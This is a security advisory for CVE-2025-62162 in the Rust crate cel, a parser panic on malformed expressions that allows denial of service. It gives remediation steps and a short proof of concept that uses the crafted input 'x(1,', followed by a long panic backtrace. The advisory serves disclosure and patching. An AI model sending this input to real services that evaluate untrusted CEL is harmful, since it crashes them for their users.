cel
Affected
- introduced
0.10.0, fixed0.11.4(semver)
Fixed versions
0.11.4
Fix
- Fixed version
0.11.4cargo update -p cel --precise 0.11.4
Advisory
Also known as: CVE-2025-62162
cel-rust May Panic During Parsing of Invalid CEL Expressions
Summary
Parsing certain malformed CEL expressions can cause the parser to panic, terminating the process. When the crate is used to evaluate untrusted expressions (e.g., user-supplied input over an API), an attacker can send crafted input to trigger a denial of service (DoS).
Remediation
Upgrade to 0.11.4
[dependencies]
cel = "0.11.4"
PoC
use cel::{Context, Program};
fn main() {
let program = Program::compile("x(1,").unwrap();
let context = Context::default();
let value = program.execute(&context).unwrap();
assert_eq!(value, true.into());
}
$ RUST_BACKTRACE=1 cargo run --bin example-simple
Compiling num-traits v0.2.19
Compiling aho-corasick v1.1.3
Compiling regex-syntax v0.8.5
Compiling arbitrary v1.4.1
Compiling serde v1.0.219
Compiling thiserror v1.0.69
Compiling regex-automata v0.4.9
Compiling chrono v0.4.41
Compiling regex v1.11.1
Compiling cel v0.10.0 (/home/john/git/cel-rust/cel)
warning: `cel` (lib) generated 15 warnings
Compiling example v0.1.0 (/home/john/git/cel-rust/example)
Finished `dev` profile [unoptimized + debuginfo] target(s) in 2.97s
Running `target/debug/example-simple`
thread 'main' panicked at /home/john/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/antlr4rust-0.3.0-beta3/src/tree.rs:383:9:
internal error: entered unreachable code: should have been properly implemented by generated context when reachable
stack backtrace:
0: __rustc::rust_begin_unwind
1: core::panicking::panic_fmt
2: antlr4rust::tree::Visitable::accept
3: <cel::parser::gen::celparser::UnaryContextAll as antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor>>::accept
4: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
5: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
6: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
7: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_calc
8: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_calc
9: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::CalcContextExt>>::accept
10: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
11: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
12: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
13: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_relation
14: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_relation
15: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::RelationContextExt>>::accept
16: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
17: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
18: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
19: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_conditionalAnd
20: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_conditionalAnd
21: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ConditionalAndContextExt>>::accept
22: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
23: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
24: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
25: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_conditionalOr
26: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_conditionalOr
27: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ConditionalOrContextExt>>::accept
28: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
29: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
30: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
31: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_expr
32: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_expr
33: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ExprContextExt>>::accept
34: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
35: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
36: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
37: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_GlobalCall::{{closure}}
38: <core::iter::adapters::map::Map<I,F> as core::iter::traits::iterator::Iterator>::next
39: alloc::vec::Vec<T,A>::extend_desugared
40: <alloc::vec::Vec<T,A> as alloc::vec::spec_extend::SpecExtend<T,I>>::spec_extend
41: <alloc::vec::Vec<T> as alloc::vec::spec_from_iter_nested::SpecFromIterNested<T,I>>::from_iter
42: <alloc::vec::Vec<T> as alloc::vec::spec_from_iter::SpecFromIter<T,I>>::from_iter
43: <alloc::vec::Vec<T> as core::iter::traits::collect::FromIterator<T>>::from_iter
44: core::iter::traits::iterator::Iterator::collect
45: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_GlobalCall
46: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_GlobalCall
47: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::GlobalCallContextExt>>::accept
48: <cel::parser::gen::celparser::PrimaryContextAll as antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor>>::accept
49: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
50: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
51: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
52: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_PrimaryExpr
53: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_PrimaryExpr
54: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::PrimaryExprContextExt>>::accept
55: <cel::parser::gen::celparser::MemberContextAll as antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor>>::accept
56: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
57: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
58: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
59: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_MemberExpr
60: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_MemberExprHigh Basis: The source's own band: HIGH
0.10.0, fixed 0.11.4 (semver)0.11.4
0.11.4cargo update -p cel --precise 0.11.4Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0